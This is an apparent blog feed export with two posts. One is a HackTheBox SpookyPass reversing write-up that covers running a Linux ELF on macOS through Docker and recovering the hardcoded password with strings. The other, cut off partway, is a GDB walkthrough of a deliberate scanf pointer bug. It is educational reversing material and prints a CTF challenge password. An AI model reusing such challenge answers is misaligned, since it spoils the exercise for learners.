/><published>2026-06-08T00:00:00+00:00</published><updated>2026-06-08T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/docker-ubuntu-mac-run-linux-elf-spookypass</id><content type="html" xml:base="https://dilipgona.is-a.dev/docker-ubuntu-mac-run-linux-elf-spookypass.html"><![CDATA[<p>I grabbed HackTheBox’s <strong>SpookyPass</strong> reversing challenge, unzipped it, and tried to run the binary the way I’d run anything on my Mac:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  rev_spookypass git:(main) ✗ ./pass
zsh: exec format error: ./pass
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">exec format error</code>. The shell can’t even <em>start</em> it. Before reaching for a disassembler I did the one check that explains everything — ask the file what it actually is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  rev_spookypass git:(main) ✗ file ./pass
./pass: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=3008217772cc2426c643d69b80a96c715490dd91,
for GNU/Linux 4.4.0, not stripped
</code></pre></div></div>

<p>There’s the whole problem in one line.</p>

<hr />

<h2 id="1-why-the-mac-flat-out-refuses-to-run-it">1. Why the Mac flat-out refuses to run it</h2>

<p>The two words that matter are <strong>ELF</strong> and <strong>GNU/Linux</strong>.</p>

<ul>
  <li>My binary is an <strong>ELF</strong> (Executable and Linkable Format) — the executable format Linux uses.</li>
  <li>macOS only knows how to load <strong>Mach-O</strong>, its own format.</li>
</ul>

<p>So when I type <code class="language-plaintext highlighter-rouge">./pass</code>, macOS reads the file header, sees a magic number it doesn’t recognise as Mach-O, and bails with <code class="language-plaintext highlighter-rouge">exec format error</code>. This isn’t a permissions thing or a missing-library thing — the kernel literally has no loader for this file type. It can’t execute it <em>at all</em>.</p>

<p>And no, Rosetta doesn’t help here. Rosetta translates <strong>x86_64 Mach-O → arm64</strong> on Apple Silicon. It does not turn Linux ELF into anything macOS can run. Different problem entirely. (Same trap I hit from the other direction when I tried to reuse an arm64 binary on an Intel Mac while <a href="/ghidra-missing-decompile-binary.html">building Ghidra’s missing decompiler</a> — wrong-format binaries don’t fail politely, they just refuse.)</p>

<p>What I need is an actual Linux userland. I don’t want to dual-boot or spin up a full VM for one CrackMe, so: <strong>Docker</strong>. One <code class="language-plaintext highlighter-rouge">ubuntu</code> container, the challenge folder mounted in, run the binary there.</p>

<hr />

<h2 id="2-mount-the-challenge-folder-into-an-ubuntu-container">2. Mount the challenge folder into an Ubuntu container</h2>

<p>First, be <em>in</em> the challenge directory on macOS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd /Users/apple/Documents/dilip/github/learn-re/htb/rev_spookypass
pwd
# /Users/apple/Documents/dilip/github/learn-re/htb/rev_spookypass
</code></pre></div></div>

<p>Then start a throwaway Ubuntu container with that directory mounted:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">--rm</span> <span class="nt">-it</span> <span class="se">\</span>
  <span class="nt">-v</span> <span class="s2">"</span><span class="nv">$PWD</span><span class="s2">:/work"</span> <span class="se">\</span>
  ubuntu:24.04 bash
</code></pre></div></div>

<p>Worth unpacking each flag, because this one line does all the work:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">--rm</code> — delete the container when I exit. It’s disposable; I don’t want a graveyard of stopped containers.</li>
  <li><code class="language-plaintext highlighter-rouge">-it</code> — <strong>i</strong>nteractive + allocate a <strong>t</strong>ty, so I get a real shell prompt I can type into.</li>
  <li><code class="language-plaintext highlighter-rouge">-v "$PWD:/work"</code> — the important bit. Mount my <strong>current macOS folder</strong> at <code class="language-plaintext highlighter-rouge">/work</code> <strong>inside</strong> the container. The file isn’t copied — it’s the same bytes on disk, visible from both sides. Edit on the Mac, it changes in the container, and vice-versa.</li>
  <li><code class="language-plaintext highlighter-rouge">ubuntu:24.04</code> — the image. Docker pulls it the first time, caches it after.</li>
</ul>

<p>Drop into the container and the file is right there:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@0ad7bc1c335a:/work# cd /work
root@0ad7bc1c335a:/work# ls
pass
</code></pre></div></div>

<p>Now the magic — the <em>exact same binary</em> that macOS refused to touch:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@0ad7bc1c335a:/work# ./pass
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password:
</code></pre></div></div>

<p>It runs. Because now there’s a Linux kernel underneath it that knows how to load an ELF. Same file, same bytes — the only thing that changed is the OS holding it.</p>

<blockquote>
  <p>One gotcha on Apple Silicon: <code class="language-plaintext highlighter-rouge">ubuntu:24.04</code> pulls the arm64 image by default, and this <code class="language-plaintext highlighter-rouge">pass</code> is x86-64. If it complains, add <code class="language-plaintext highlighter-rouge">--platform linux/amd64</code> to the <code class="language-plaintext highlighter-rouge">docker run</code> line and Docker runs it under emulation. On my Intel Mac the architectures already match, so it just works.</p>
</blockquote>

<hr />

<h2 id="3-tooling-up-the-container">3. Tooling up the container</h2>

<p>A fresh Ubuntu image is bare — no <code class="language-plaintext highlighter-rouge">file</code>, no <code class="language-plaintext highlighter-rouge">gdb</code>, nothing. Since I’ll be poking at binaries, I install the reversing basics once per container:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt update
apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\</span>
  file <span class="se">\</span>
  binutils <span class="se">\</span>
  gdb <span class="se">\</span>
  strace <span class="se">\</span>
  ltrace <span class="se">\</span>
  vim <span class="se">\</span>
  curl <span class="se">\</span>
  wget <span class="se">\</span>
  python3
</code></pre></div></div>

<p>What each one buys me:</p>

<ul>
  <li><strong>file / binutils</strong> — <code class="language-plaintext highlighter-rouge">file</code>, plus <code class="language-plaintext highlighter-rouge">strings</code>, <code class="language-plaintext highlighter-rouge">objdump</code>, <code class="language-plaintext highlighter-rouge">nm</code>, <code class="language-plaintext highlighter-rouge">readelf</code>. The bread and butter.</li>
  <li><strong>gdb</strong> — the debugger, for stepping through when static reading isn’t enough.</li>
  <li><strong>strace / ltrace</strong> — trace <strong>sys</strong>tem calls and <strong>lib</strong>rary calls live. <code class="language-plaintext highlighter-rouge">ltrace ./pass</code> will literally show me the <code class="language-plaintext highlighter-rouge">strcmp(...)</code> call with both arguments as the program runs — often the fastest way to see a password compare.</li>
  <li><strong>vim / curl / wget / python3</strong> — editing, fetching, and quick scripting.</li>
</ul>

<p>And here’s the thing that confused me the first time: <strong>next session, all of that is gone.</strong> New container, pristine Ubuntu, no <code class="language-plaintext highlighter-rouge">strings</code>, no <code class="language-plaintext highlighter-rouge">vim</code>. The next section is why — and how to make it stop.</p>

<hr />

<h2 id="4-why-my-tools-vanish-every-session--image-vs-container">4. Why my tools vanish every session — image vs container</h2>

<p>I exited the container, came back later, ran the same <code class="language-plaintext highlighter-rouge">docker run …</code> line, and <code class="language-plaintext highlighter-rouge">strings</code> was “command not found” again. I hadn’t done anything wrong — I’d just misunderstood what <code class="language-plaintext highlighter-rouge">--rm</code> and the image actually are.</p>

<p>Two ideas untangle the whole thing:</p>

<ul>
  <li><strong>Image</strong> = a frozen, read-only <em>template</em> (<code class="language-plaintext highlighter-rouge">ubuntu:24.04</code>). Reusable, never changes.</li>
  <li><strong>Container</strong> = a <em>running, throwaway instance</em> of that image. This is where <code class="language-plaintext highlighter-rouge">bash</code> lives, and where my <code class="language-plaintext highlighter-rouge">apt install</code>s landed.</li>
</ul>

<p>Now re-read the flag: <code class="language-plaintext highlighter-rouge">--rm</code> means <strong>“delete this container the moment I exit.”</strong> So my installs went <em>into the container</em>, and <code class="language-plaintext highlighter-rouge">--rm</code> threw the container away on <code class="language-plaintext highlighter-rouge">exit</code>. The image is untouched — and the image never had my tools — so the next <code class="language-plaintext highlighter-rouge">docker run</code> builds a brand-new container from pristine <code class="language-plaintext highlighter-rouge">ubuntu:24.04</code>, with nothing installed. It doesn’t <em>continue</em> the old session; it’s a fresh one every time.</p>

<blockquote>
  <p>The only thing that survived is <code class="language-plaintext highlighter-rouge">/work</code> — because that’s a <strong>mount</strong>, a window into my real Mac filesystem, not part of the container at all. Files persist; runtime installs don’t.</p>
</blockquote>

<p>The mental model that made it click:</p>

<blockquote>
  <p>Installs done <strong>at runtime</strong> (<code class="language-plaintext highlighter-rouge">apt install</code> inside the container) live in the <strong>container</strong> and die with <code class="language-plaintext highlighter-rouge">--rm</code>.
Installs done in a <strong>Dockerfile</strong> live in the <strong>image</strong> and persist.</p>
</blockquote>

<p>So the fix is to bake the tools into the image instead of the container.</p>

<h3 id="the-fix-a-dockerfile">The fix: a Dockerfile</h3>

<p>I dropped a <code class="language-plaintext highlighter-rouge">Dockerfile</code> in my <code class="language-plaintext highlighter-rouge">learn-re</code> folder:</p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> ubuntu:24.04</span>

<span class="c"># Reverse-engineering toolkit baked into the IMAGE so it survives --rm</span>
<span class="k">RUN </span>apt update <span class="o">&amp;&amp;</span> apt <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    binutils <span class="se">\
</span>    gdb <span class="se">\
</span>    gdb-multiarch <span class="se">\
</span>    gcc <span class="se">\
</span>    file <span class="se">\
</span>    vim <span class="se">\
</span>    radare2 <span class="se">\
</span>    xxd
<span class="k">WORKDIR</span><span class="s"> /work</span>
</code></pre></div></div>

<p>Build it <strong>once</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ~/Documents/Dilip/Github/learn-re
docker build <span class="nt">-t</span> re-lab <span class="nb">.</span>      <span class="c"># -t names the image "re-lab"; "." = use the Dockerfile here</span>
</code></pre></div></div>

<p>My tools now live in the image. The last piece is to stop throwing the <em>container</em> away each time — so instead of <code class="language-plaintext highlighter-rouge">--rm</code>, I create one <strong>named</strong> container and <strong>resume</strong> it every session:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-it</span> <span class="nt">--name</span> relab <span class="nt">-v</span> <span class="s2">"</span><span class="nv">$PWD</span><span class="s2">:/work"</span> re-lab bash   <span class="c"># first time only — creates "relab"</span>
docker start <span class="nt">-ai</span> relab                                    <span class="c"># every session after — same container</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">docker start -ai relab</code> is the whole daily workflow now — <strong>not</strong> a fresh <code class="language-plaintext highlighter-rouge">docker run</code>. <code class="language-plaintext highlighter-rouge">run</code> always builds a <em>new</em> container from the image; <code class="language-plaintext highlighter-rouge">start</code> resumes the one I already have. Dropping <code class="language-plaintext highlighter-rouge">--rm</code> buys me two things: the image’s baked-in tools are there from the first second, <strong>and</strong> anything I <code class="language-plaintext highlighter-rouge">apt install</code> later (like <code class="language-plaintext highlighter-rouge">less</code>) survives into the next session instead of vanishing with the container. I still rebuild the image — <code class="language-plaintext highlighter-rouge">docker build -t re-lab .</code> — only when I want a tool in <em>every</em> future container, or to bake in users/groups so the setup is reproducible.</p>

<h3 id="decoding-that-create-line-flag-by-flag">Decoding that create line, flag by flag</h3>

<p>The first-time <code class="language-plaintext highlighter-rouge">docker run</code> stops being magic once you read it as parts:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run   -it   --name relab   -v "$PWD:/work"   re-lab   bash
└───┬────┘  └┬┘   └────┬─────┘   └──────┬───────┘  └──┬─┘   └─┬─┘
  the verb   │     keep + name         mount          image  command
        interactive  the container                    name   to run
</code></pre></div></div>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">docker run</code></strong> — <em>create a new container and start it.</em> I run this <strong>once</strong>; after that I reuse it with <code class="language-plaintext highlighter-rouge">docker start</code>, never <code class="language-plaintext highlighter-rouge">run</code> again.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">-it</code></strong> — two flags: <code class="language-plaintext highlighter-rouge">-i</code> keeps input open so I can type; <code class="language-plaintext highlighter-rouge">-t</code> gives a real terminal (prompt, colors, Ctrl-C). Without them <code class="language-plaintext highlighter-rouge">bash</code> starts, sees no human attached, and exits immediately.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">--name relab</code></strong> — give the container a stable name. And notice what’s <strong>missing</strong>: no <code class="language-plaintext highlighter-rouge">--rm</code>. So when I exit, the container <em>stops</em> but isn’t deleted — <code class="language-plaintext highlighter-rouge">docker start -ai relab</code> brings it (and everything I installed in it) back.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">-v "$PWD:/work"</code></strong> — mount my current Mac folder at <code class="language-plaintext highlighter-rouge">/work</code> inside the container. This is the bridge between the two worlds: edits live on the Mac, so they’re safe no matter what happens to the container.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">re-lab</code></strong> — which image to instantiate. My custom one.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">bash</code></strong> — what to run inside. (I could run <code class="language-plaintext highlighter-rouge">re-lab gdb ./pass</code> to drop straight into gdb instead.)</li>
</ul>

<p>And why <code class="language-plaintext highlighter-rouge">cd</code> first? Because <code class="language-plaintext highlighter-rouge">-v "$PWD:/work"</code> mounts <em>wherever I’m standing</em>. I <code class="language-plaintext highlighter-rouge">cd</code> into <code class="language-plaintext highlighter-rouge">learn-re</code> so the right folder gets mounted — run it from <code class="language-plaintext highlighter-rouge">~</code> and I’d mount my entire home directory. (I could skip the <code class="language-plaintext highlighter-rouge">cd</code> by writing the absolute path: <code class="language-plaintext highlighter-rouge">-v ~/Documents/Dilip/Github/learn-re:/work</code>.)</p>

<h3 id="why-i-keep-one-container-alive-instead-of-a-fresh-one-each-time">Why I keep one container alive instead of a fresh one each time</h3>

<p>A container lives only as long as the process inside it. <code class="language-plaintext highlighter-rouge">… re-lab bash</code> exists only while that <code class="language-plaintext highlighter-rouge">bash</code> is open; type <code class="language-plaintext highlighter-rouge">exit</code> and the process ends, so the container <strong>stops</strong>. With <code class="language-plaintext highlighter-rouge">--rm</code> it’s also <em>deleted</em>; with a named container it just sits there stopped, ready to resume.</p>

<p>That difference is exactly why I stopped using <code class="language-plaintext highlighter-rouge">--rm</code>. The first time I <code class="language-plaintext highlighter-rouge">apt install</code>ed <code class="language-plaintext highlighter-rouge">less</code> (or set up a <code class="language-plaintext highlighter-rouge">devs</code> group) inside a <code class="language-plaintext highlighter-rouge">--rm</code> container, it died on <code class="language-plaintext highlighter-rouge">exit</code> — and the next <code class="language-plaintext highlighter-rouge">docker run</code> started pristine again, so I’d be reinstalling <code class="language-plaintext highlighter-rouge">less</code> every single session. With a named container I just <code class="language-plaintext highlighter-rouge">docker start -ai relab</code> and last session’s state is all still there.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="nt">-it</span> <span class="nt">--name</span> relab <span class="nt">-v</span> <span class="s2">"</span><span class="nv">$PWD</span><span class="s2">:/work"</span> re-lab bash   <span class="c"># once</span>
docker start <span class="nt">-ai</span> relab                                    <span class="c"># every session after</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Style</th>
      <th>Each session</th>
      <th>Persists runtime installs?</th>
      <th>Clutter</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Throwaway</strong> (<code class="language-plaintext highlighter-rouge">--rm</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">docker run --rm -it …</code></td>
      <td>❌ (only what’s in the image)</td>
      <td>none</td>
    </tr>
    <tr>
      <td><strong>Persistent</strong> (named)</td>
      <td><code class="language-plaintext highlighter-rouge">docker start -ai relab</code></td>
      <td>✅</td>
      <td>one named container</td>
    </tr>
  </tbody>
</table>

<p>The rule of thumb I landed on: tools I <em>always</em> want go in the <strong>Dockerfile</strong> (reproducible, present in every container); the <strong>persistent container</strong> holds the session state I pick up as I work — extra installs, users, scratch setup. Files stay on the Mac via <code class="language-plaintext highlighter-rouge">/work</code> either way. The only cost is one named container sitting on disk — <code class="language-plaintext highlighter-rouge">docker rm relab</code> whenever I want a clean slate.</p>

<hr />

<h2 id="5-cracking-the-easy-spookypass-strings">5. Cracking the easy SpookyPass: <code class="language-plaintext highlighter-rouge">strings</code></h2>

<p>SpookyPass is the gentlest possible reversing intro, and it teaches exactly one lesson: <strong>a hardcoded secret is not a secret.</strong> The program compares your input against a password baked into the binary — and <code class="language-plaintext highlighter-rouge">strcmp</code> needs the real password in plaintext to compare against. Which means it’s just <em>sitting there</em> in the file’s data section.</p>

<p>So before any disassembly, dump every printable string in the binary:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@0ad7bc1c335a:/work# strings ./pass
...
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password:
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
You won't easily get the password from me
...
</code></pre></div></div>

<p>There it is — <code class="language-plaintext highlighter-rouge">s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5</code>, nestled right between the prompt and the success message. (Same string I later watched fall out of Ghidra’s decompiler in the <a href="/reverse-engineering-101-c-to-ghidra.html">reverse-engineering 101 walkthrough</a> — <code class="language-plaintext highlighter-rouge">strings</code> just gets you there in one command instead of a full analysis pass.)</p>

<p>Feed it back to the program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@0ad7bc1c335a:/work# ./pass
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password:
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
HTB{...}
</code></pre></div></div>

<p>And the program hands over the <code class="language-plaintext highlighter-rouge">HTB{...}</code> flag. Three steps, no debugger: <code class="language-plaintext highlighter-rouge">strings</code> → read the password → paste it back.</p>

<p>If <code class="language-plaintext highlighter-rouge">strings</code> had spat out thousands of lines, I’d narrow it — <code class="language-plaintext highlighter-rouge">strings ./pass | grep -i pass</code>, or pipe through <code class="language-plaintext highlighter-rouge">less</code> — but for SpookyPass the password is right there in the open.</p>

<hr />

<h2 id="what-i-took-away">What I took away</h2>

<ol>
  <li><strong><code class="language-plaintext highlighter-rouge">exec format error</code> is an OS/format mismatch, not a bug.</strong> Before doing anything else, run <code class="language-plaintext highlighter-rouge">file</code> on the binary. <code class="language-plaintext highlighter-rouge">ELF</code> + <code class="language-plaintext highlighter-rouge">for GNU/Linux</code> on a Mac means “wrong operating system,” and no amount of <code class="language-plaintext highlighter-rouge">chmod +x</code> will fix that — you need a Linux kernel under it.</li>
  <li><strong>Docker is the cheapest Linux you’ll ever spin up.</strong> <code class="language-plaintext highlighter-rouge">docker run --rm -it -v "$PWD:/work" ubuntu bash</code> gives me a real Linux userland with my files mounted in, in seconds, and cleans itself up on exit. No VM, no dual boot, for a one-file challenge.</li>
  <li><strong>Image vs container is the whole mental model.</strong> The image is the frozen template; the container is the throwaway instance. <code class="language-plaintext highlighter-rouge">--rm</code> deletes the <em>container</em>, so anything I <code class="language-plaintext highlighter-rouge">apt install</code> at runtime dies with it — that’s why my tools vanished every session. Bake them into a <strong>Dockerfile</strong> and they live in the <em>image</em>, surviving <code class="language-plaintext highlighter-rouge">--rm</code> forever.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">-v "$PWD:/work"</code> is a mount, not a copy.</strong> The binary is the same bytes on both sides — which is the whole point. macOS <em>holding</em> the file and macOS <em>running</em> it are different acts; Docker only changes the second. Files in <code class="language-plaintext highlighter-rouge">/work</code> survive <code class="language-plaintext highlighter-rouge">--rm</code> because they never lived in the container.</li>
  <li><strong>The simplest crack is <code class="language-plaintext highlighter-rouge">strings</code>.</strong> Anything compared with <code class="language-plaintext highlighter-rouge">strcmp</code> lives in the binary as plaintext. SpookyPass exists to make that visceral: the “secret” is one <code class="language-plaintext highlighter-rouge">strings</code> away. If a value must actually stay private, it can’t be a literal in the program.</li>
</ol>

<p>Next rung on the ladder is a SpookyPass variant where the password is built up at runtime or lightly obfuscated so <code class="language-plaintext highlighter-rouge">strings</code> shows nothing useful — that’s where <code class="language-plaintext highlighter-rouge">ltrace ./pass</code> (watch the <code class="language-plaintext highlighter-rouge">strcmp</code> arguments live) and Ghidra start earning their keep. But the workflow is set now: <code class="language-plaintext highlighter-rouge">file</code> to diagnose, Docker to run, and the lightest tool that cracks it first.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[I grabbed HackTheBox’s SpookyPass reversing challenge, unzipped it, and tried to run the binary the way I’d run anything on my Mac:]]></summary></entry><entry><title type="html">Watching a bug crash in GDB — a missing &amp;amp;, an int mistaken for a pointer</title><link href="https://dilipgona.is-a.dev/gdb-tui-debugging-scanf-pointer-bug.html" rel="alternate" type="text/html" title="Watching a bug crash in GDB — a missing &amp;amp;, an int mistaken for a pointer" /><published>2026-06-08T00:00:00+00:00</published><updated>2026-06-08T00:00:00+00:00</updated><id>https://dilipgona.is-a.dev/gdb-tui-debugging-scanf-pointer-bug</id><content type="html" xml:base="https://dilipgona.is-a.dev/gdb-tui-debugging-scanf-pointer-bug.html"><![CDATA[<p>Now that I have a <a href="/docker-ubuntu-mac-run-linux-elf-spookypass.html">Linux container with the RE toolkit baked in</a>, I wanted to actually <em>watch</em> a program misbehave instead of just reading its source. The best way to learn a debugger is to feed it a bug you already understand — so I wrote one on purpose.</p>

<p>This is the story of a classic C mistake (<code class="language-plaintext highlighter-rouge">scanf</code> without the <code class="language-plaintext highlighter-rouge">&amp;</code>), what it looks like inside <strong>GDB’s TUI</strong>, and <em>why</em> the crash happens at the register level. The compiler even warned me before I ran it — and the warning turns out to be the whole explanation.</p>

<hr />

<h2 id="1-the-buggy-program">1. The buggy program</h2>

<p><code class="language-plaintext highlighter-rouge">hello.c</code> — asks for a number, prints it back. One character is wrong:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">d</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to the Debugging programming!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">d</span><span class="p">);</span>          <span class="c1">// BUG: should be &amp;d</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"you gave number is : %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">d</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">scanf("%d", d)</code> passes <code class="language-plaintext highlighter-rouge">d</code> — the <strong>value</strong> <code class="language-plaintext highlighter-rouge">2</code> — where <code class="language-plaintext highlighter-rouge">scanf</code> expects a <strong>pointer</strong> to write into. The intent was <code class="language-plaintext highlighter-rouge">&amp;d</code>, the <em>address</em> of <code class="language-plaintext highlighter-rouge">d</code>. Hold that thought.</p>

<hr />

<h2 id="2-the-compiler-already-told-me">2. The compiler already told me</h2>

<p>I compiled with <code class="language-plaintext highlighter-rouge">-g</code> so GDB gets source-level debug info, and gcc immediately flagged it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ae22e7a5f3d9:/work/src# gcc -o hello hello.c -g
hello.c: In function 'main':
hello.c:7:14: warning: format '%d' expects argument of type 'int *',
              but argument 2 has type 'int' [-Wformat=]
    7 |   scanf("%d", d);
      |          ~^   ~
      |           |   |
      |           |   int
      |           int *
</code></pre></div></div>

<p>Read that carefully — it’s the bug in full. <code class="language-plaintext highlighter-rouge">%d</code> for <code class="language-plaintext highlighter-rouge">scanf</code> <strong>expects <code class="language-plaintext highlighter-rouge">int *</code></strong> (a pointer to write the parsed number into), but I handed it an <strong><code class="language-plaintext highlighter-rouge">int</code></strong>. gcc compiled it anyway (it’s a warning, not an error), so I got an executable with a live landmine in it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ae22e7a5f3d9:/work/src# file hello
hello: ELF 64-bit LSB pie executable, x86-64, ... with debug_info, not stripped
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">with debug_info, not stripped</code> — exactly what I want for GDB. (Contrast with the stripped HTB binary from the <a href="/reverse-engineering-101-c-to-ghidra.html">SpookyPass writeup</a>, where there were no symbols at all.)</p>

<hr />

<h2 id="3-driving-gdbs-tui">3. Driving GDB’s TUI</h2>

<p>Load it up:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ae22e7a5f3d9:/work/src# gdb hello
...
Reading symbols from hello...
(gdb)
</code></pre></div></div>

<p>The single command that turns GDB from a text prompt into a real debugger view:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) lay next
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">layout next</code> cycles through GDB’s TUI panes. Keep running it and you get <strong>source</strong>, then <strong>assembly</strong>, then <strong>registers</strong> — split-screen above the command line, with the current line highlighted as you step. For this bug the three views I care about are <em>source</em> (to see which C line we’re on), <em>asm</em> (to see the actual instruction that faults), and <em>regs</em> (to see the bad pointer).</p>

<p>Set a breakpoint at <code class="language-plaintext highlighter-rouge">main</code> and start:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) break main
Breakpoint 1 at 0x...: file hello.c, line 5.
(gdb) run
</code></pre></div></div>

<p>Execution stops at the top of <code class="language-plaintext highlighter-rouge">main</code>. Now step <strong>one source line at a time</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) next        # or just `n` — run the current line, stop at the next
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">next</code> (<code class="language-plaintext highlighter-rouge">n</code>) — execute the current line; step <em>over</em> function calls.</li>
  <li><code class="language-plaintext highlighter-rouge">step</code> (<code class="language-plaintext highlighter-rouge">s</code>) — like <code class="language-plaintext highlighter-rouge">next</code>, but step <em>into</em> calls.</li>
  <li><code class="language-plaintext highlighter-rouge">nexti</code> / <code class="language-plaintext highlighter-rouge">stepi</code> — same idea, one <em>instruction</em> at a time (handy in the asm pane).</li>
</ul>

<blockquote>
  <p><strong>TUI got garbled?</strong> Program output and GDB share the screen, so the panes smear. <code class="language-plaintext highlighter-rouge">refresh</code> (or <code class="language-plaintext highlighter-rouge">Ctrl-L</code>) redraws everything. I needed it constantly once the program started printing.</p>
</blockquote>

<p>Step until you’re sitting on the <code class="language-plaintext highlighter-rouge">scanf</code> line, then run it. The moment I type a number (<code class="language-plaintext highlighter-rouge">34</code>) and hit enter:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) next
34
Program received signal SIGSEGV, Segmentation fault.
0x00007f0c30958146 in __vfscanf_internal (s=&lt;optimized out&gt;, format=&lt;optimized out&gt;,
    argptr=argptr@entry=0x7ffd85143230, mode_flags=mode_flags@entry=2)
    at ./stdio-common/vfscanf-internal.c:1976
</code></pre></div></div>

<p><strong>SIGSEGV</strong> — a segmentation fault, <em>inside</em> <code class="language-plaintext highlighter-rouge">scanf</code> itself. The crash isn’t in my line of source; it’s deep in glibc’s <code class="language-plaintext highlighter-rouge">__vfscanf_internal</code> at line 1976. That’s the tell: my code handed <code class="language-plaintext highlighter-rouge">scanf</code> something poisonous, and <code class="language-plaintext highlighter-rouge">scanf</code> died trying to use it. Note <code class="language-plaintext highlighter-rouge">argptr</code> — that’s the saved pointer to my call’s arguments, the thing <code class="language-plaintext highlighter-rouge">scanf</code> is about to read the (bad) pointer out of.</p>

<hr />

<h2 id="4-why-it-crashes--an-int-used-as-an-address">4. Why it crashes — an int used as an address</h2>

<p>This is where the asm and register panes earn their place. Open them with <code class="language-plaintext highlighter-rouge">lay next</code> until you see the disassembly, and look at the exact instruction GDB stopped on:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) x/i $pc
=&gt; 0x7f0c30958146 &lt;__vfscanf_internal+18710&gt;:    mov    %edx,(%rax)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">mov %edx,(%rax)</code> is the whole crime in one instruction. It means: <strong>store the value in <code class="language-plaintext highlighter-rouge">edx</code> into the memory at the address in <code class="language-plaintext highlighter-rouge">rax</code>.</strong> In C terms, <code class="language-plaintext highlighter-rouge">*(int *)rax = edx</code>. So <code class="language-plaintext highlighter-rouge">rax</code> had better be a valid, writable address — and <code class="language-plaintext highlighter-rouge">edx</code> is the number being written. The two instructions just above it (visible in the asm pane) set this up:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+18707   mov    (%rax),%rax        ; load the pointer argument out of the arg area
+18710   mov    %edx,(%rax)        ; *** write the parsed int through it  &lt;-- crash
</code></pre></div></div>

<p>Now read the registers at the moment of the fault (<code class="language-plaintext highlighter-rouge">lay regs</code>, or <code class="language-plaintext highlighter-rouge">info registers</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rax    0x2    2          &lt;-- the "pointer" scanf is writing through
rdx    0x22   34         &lt;-- the number I typed (0x22 == 34), waiting in edx
rsi    0x22   34
...
rip    0x7f0c30958146    &lt;__vfscanf_internal+18710&gt;
</code></pre></div></div>

<p>There it is, laid bare:</p>

<ul>
